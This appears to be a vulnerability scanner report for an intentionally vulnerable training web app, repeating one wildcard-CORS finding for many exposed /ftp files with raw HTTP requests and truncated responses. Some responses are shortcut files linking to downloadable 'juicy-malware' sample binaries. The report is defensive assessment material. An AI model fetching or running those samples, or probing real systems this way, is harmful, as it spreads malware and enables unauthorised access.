Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:23:44 GMT

Connection: close

Content-Length: 11014



<!DOCTYPE html>
<html>
  <head>
    <meta charset='utf-8'> 
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <title>listing directoSnip





[bookmark: 5544863333583040512]
Cross-origin resource sharing


/ftp/acquisitions.md

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/acquisitions.md HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"38d-181c9ca8630"

Content-Type: text/markdown; charset=UTF-8

Content-Length: 909

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:02 GMT

Connection: close



# Planned Acquisitions

> This document is confidential! Do not distribute!

Our company plans to acquire several competitors within the next year.
This will have a significant stock market impact as Snip





[bookmark: 5122634315712226304]
Cross-origin resource sharing


/ftp/announcement_encrypted.md

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/announcement_encrypted.md HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"5a255-181c9ca8630"

Content-Type: text/markdown; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:31 GMT

Connection: close

Content-Length: 369237



10109057449711827825422613771001753663977376585715365973860569540807292892191071158265975906410389516334491006158026789153878093873732767389797297869967413901324069466667721969022500559799179102134209Snip





[bookmark: 4612854688341549056]
Cross-origin resource sharing


/ftp/coupons_2013.md.bak

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/coupons_2013.md.bak HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:24:35 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip





[bookmark: 4877158743496624128]
Cross-origin resource sharing


/ftp/eastere.gg

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/eastere.gg HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:01 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip





[bookmark: 1124540693257020416]
Cross-origin resource sharing


/ftp/encrypt.pyc

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/encrypt.pyc HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:01 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip





[bookmark: 8684626032970597376]
Cross-origin resource sharing


/ftp/incident-support.kdbx

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/incident-support.kdbx HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"cae-181c9ca8630"

Content-Type: application/octet-stream

Content-Length: 3246

Date: Fri, 22 Jul 2022 17:25:16 GMT

Connection: close
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[bookmark: 472306782830537728]
Cross-origin resource sharing


/ftp/legal.md

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/legal.md HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Fri, 22 Jul 2022 15:18:50 GMT

ETag: W/"be7-182267d6e2e"

Content-Type: text/markdown; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:26 GMT

Connection: close

Content-Length: 3047



# Legal Information

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
voluptua. At vero eos et accusam Snip





[bookmark: 2957965157460071424]
Cross-origin resource sharing


/ftp/package.json.bak

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/package.json.bak HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:16 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip





[bookmark: 4307303358813046784]
Cross-origin resource sharing


/ftp/quarantine

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/quarantine HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:16 GMT

Connection: close

Content-Length: 9584



<!DOCTYPE html>
<html>
  <head>
    <meta charset='utf-8'> 
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <title>listing directoSnip





[bookmark: 7211137647482716160]
Cross-origin resource sharing


/ftp/quarantine/juicy_malware_linux_amd_64.url

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/quarantine/juicy_malware_linux_amd_64.url HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"a6-181c9ca8630"

Content-Type: application/octet-stream

Content-Length: 166

Date: Fri, 22 Jul 2022 17:26:21 GMT

Connection: close



[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/juice-shop/juicy-malware/raw/master/juicy_malware_linux_amd_64
IDList=





[bookmark: 1479771518870497280]
Cross-origin resource sharing


/ftp/quarantine/juicy_malware_linux_arm_64.url

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/quarantine/juicy_malware_linux_arm_64.url HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"a6-181c9ca8630"

Content-Type: application/octet-stream

Content-Length: 166

Date: Fri, 22 Jul 2022 17:26:21 GMT

Connection: close



[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/juice-shop/juicy-malware/raw/master/juicy_malware_linux_arm_64
IDList=





[bookmark: 7546883515184960512]
Cross-origin resource sharing


/ftp/quarantine/juicy_malware_macos_64.url

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged in user.


Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.






Issue remediation




Any inappropriate domains should be removed from the CORS policy.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/quarantine/juicy_malware_macos_64.url HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://192.168.186.128:3000





Response:


